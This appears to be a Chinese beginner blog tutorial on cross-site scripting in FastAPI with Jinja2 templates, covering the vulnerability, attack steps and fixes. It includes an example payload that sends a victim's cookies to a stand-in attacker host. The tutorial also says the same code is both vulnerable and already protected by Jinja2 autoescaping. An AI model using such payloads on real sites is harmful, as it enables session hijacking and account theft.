安全小白入门(2)-----跨站脚本(XSS)

跨站脚本(XSS)

1. 漏洞原理

XSS 是由于 用户输入的恶意脚本未被转义,直接在浏览器中执行,导致攻击者窃取 Cookie、伪造身份或钓鱼。FastAPI 虽以 JSON 接口为主,但若返回 HTML 内容(如模板渲染)或前端直接渲染 API 返回的用户输入,仍可能触发 XSS。

2. 攻击场景(FastAPI 漏洞代码)

假设 FastAPI 接口返回包含用户输入的 HTML 页面(使用 Jinja2 模板):

python 复制代码
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates

app = FastAPI()
templates = Jinja2Templates(directory="templates")

# 漏洞接口:未转义用户输入,直接渲染到HTML
@app.get("/welcome")
def welcome(request: Request, username: str):
    # 危险!username直接拼接进HTML,若包含脚本会执行
    return templates.TemplateResponse("welcome.html", {
        "request": request,
        "username": username  # 攻击者可构造username=<script>恶意代码</script>
    })

对应的templates/welcome.html模板:

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title>Welcome</title>
</head>
<body>
    <!-- 未转义渲染用户输入 -->
    <h1>Welcome, {{ username }}!</h1>
</body>
</html>

攻击步骤:

  1. 攻击者访问接口,构造恶意username/welcome?username=<script>alert('XSS')</script>
  2. 浏览器渲染页面时, <script>标签被执行,弹出 "XSS" 提示(简单演示)。
  3. 进阶攻击:窃取 Cookie 并发送到攻击者服务器:/welcome?username=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>若用户已登录,Cookie 包含会话信息,攻击者可劫持会话。

3. 防护方案(修复代码 + 最佳实践)

核心原则:对用户输入进行 HTML 转义,或避免在 HTML 中直接渲染用户输入

修复方案 1:模板自动转义(Jinja2 默认开启)

Jinja2 模板默认会对{{ variable }}进行 HTML 转义(将<转义为&lt;>转义为&gt;等),恶意脚本会被当作普通文本显示。上述代码无需修改,Jinja2 已自动防护 ------ 若用户输入<script>,会被转义为&lt;script&gt;,不会执行。

修复方案 2:手动转义(若需自定义渲染)

若使用其他模板引擎或手动拼接 HTML,需手动转义用户输入(使用html模块):

python 复制代码
import html

@app.get("/welcome")
def welcome(request: Request, username: str):
    # 手动转义用户输入,确保安全
    safe_username = html.escape(username)
    return templates.TemplateResponse("welcome.html", {
        "request": request,
        "username": safe_username
    })

额外防护:

  • 避免返回 HTML:FastAPI 优先使用 JSON 接口,前端通过 JavaScript 渲染数据(JSON 不会执行脚本)。
  • 设置安全响应头:通过fastapi.middleware.cors.CORSMiddleware限制跨域,或添加Content-Security-Policy(CSP)头,禁止加载外部脚本。
相关推荐
灵感__idea5 小时前
Hello 算法:贪心的世界
前端·javascript·算法
星河耀银海6 小时前
远控体验分享:安全与实用性参考
人工智能·安全·微服务
GreenTea7 小时前
一文搞懂Harness Engineering与Meta-Harness
前端·人工智能·后端
赛博云推-Twitter热门霸屏工具7 小时前
Twitter运营完整流程:从0到引流获客全流程拆解(2026)
运维·安全·自动化·媒体·twitter
xixixi777778 小时前
通信领域的“中国速度”:从5G-A到6G,从地面到星空
人工智能·5g·安全·ai·fpga开发·多模态
killerbasd8 小时前
牧苏苏传 我不装了 4/7
前端·javascript·vue.js
吴声子夜歌8 小时前
ES6——二进制数组详解
前端·ecmascript·es6
我是大猴子8 小时前
Spring代理类为何依赖注入失效?
java·后端·spring
码事漫谈9 小时前
手把手带你部署本地模型,让你Token自由(小白专属)
前端·后端
ZC跨境爬虫9 小时前
【爬虫实战对比】Requests vs Scrapy 笔趣阁小说爬虫,从单线程到高效并发的全方位升级
前端·爬虫·scrapy·html